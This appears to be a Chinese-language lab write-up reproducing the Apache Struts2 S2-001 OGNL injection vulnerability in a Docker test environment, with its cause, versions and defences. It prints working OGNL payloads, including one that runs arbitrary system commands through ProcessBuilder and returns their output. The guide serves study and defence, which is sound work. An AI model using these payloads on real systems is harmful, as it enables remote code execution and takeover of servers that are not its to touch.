S2-001 漏洞复现
字数 1436 2025-08-13 21:33:27
Struts2 S2-001漏洞分析与复现指南
一、漏洞概述
S2-001是Apache Struts2框架中的一个远程代码执行漏洞,影响Struts 2.0.0至2.0.8版本。该漏洞源于框架在处理表单验证失败时的错误处理机制,当用户提交表单数据验证失败时,后端会使用OGNL表达式%{value}解析用户之前提交的参数值,然后重新填充到表单数据中。
二、漏洞原理
- OGNL表达式注入:Struts2使用OGNL(Object-Graph Navigation Language)表达式语言来处理数据流转
- 验证失败时的处理机制:当表单验证失败时,框架会将用户提交的参数值用
%{value}进行解析 - 恶意构造Payload:攻击者可以构造恶意的OGNL表达式,当被解析时执行任意代码
三、影响版本
- Struts 2.0.0
- Struts 2.0.8
四、环境准备
攻击环境
- 攻击机:Windows 10 (192.168.1.224)
- 工具:浏览器、Burp Suite等
靶机环境
- 操作系统:Kali Linux 2021
- IP地址:192.168.1.128
- 服务:使用Docker搭建的Struts2漏洞环境
五、漏洞复现步骤
1. 启动靶机服务
docker run -p 8080:8080 vulhub/struts2:s2-001
2. 访问靶机
在浏览器中访问:
http://192.168.1.128:8080/
3. 漏洞检测
在表单输入框中提交以下Payload检测漏洞是否存在:
%{1+1}
如果返回结果中显示计算结果(如"2")而非原始字符串,则存在漏洞。
4. 基础信息获取
获取系统属性:
%{"Tomcat{"+@java.lang.System@getProperty("user.dir")+"}"}
5. 获取Web路径
使用以下Payload获取Web应用真实路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath("/")),
#response.flush(),
#response.close()
}
6. 命令执行
执行系统命令(如whoami):
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
7. 复杂命令执行
对于需要参数的命令(如ls -la),使用以下格式:
{"ls","-la"}
六、关键系统属性参考
以下系统属性可通过OGNL表达式获取,用于信息收集:
| 属性键 | 描述 |
|---|---|
| java.vendor.url | Java供应商的URL |
| java.vm.specification.version | Java虚拟机规范版本 |
| java.vm.version | Java虚拟机实现版本 |
| java.specification.version | Java运行时环境规范版本 |
| java.class.path | Java类路径 |
| java.io.tmpdir | 默认的临时文件路径 |
| os.name | 操作系统名称 |
| os.arch | 操作系统架构 |
| os.version | 操作系统版本 |
| file.separator | 文件分隔符 |
| user.name | 用户账户名称 |
| user.home | 用户主目录 |
七、防御措施
- 升级Struts2版本:升级到不受影响的版本(2.0.9及以上)
- 输入验证:对所有用户输入进行严格验证
- 禁用OGNL表达式:在不需要的情况下禁用OGNL表达式解析
- 安全配置:配置Struts2的安全选项,限制OGNL表达式的功能
八、技术总结
S2-001漏洞展示了Web框架中表达式语言注入的风险,其核心问题在于:
- 未对用户输入进行充分验证
- 在错误处理过程中不当解析用户可控数据
- OGNL表达式功能过于强大且未做适当限制
通过此漏洞,攻击者可以完全控制服务器,执行任意系统命令,获取敏感信息,甚至建立持久化访问。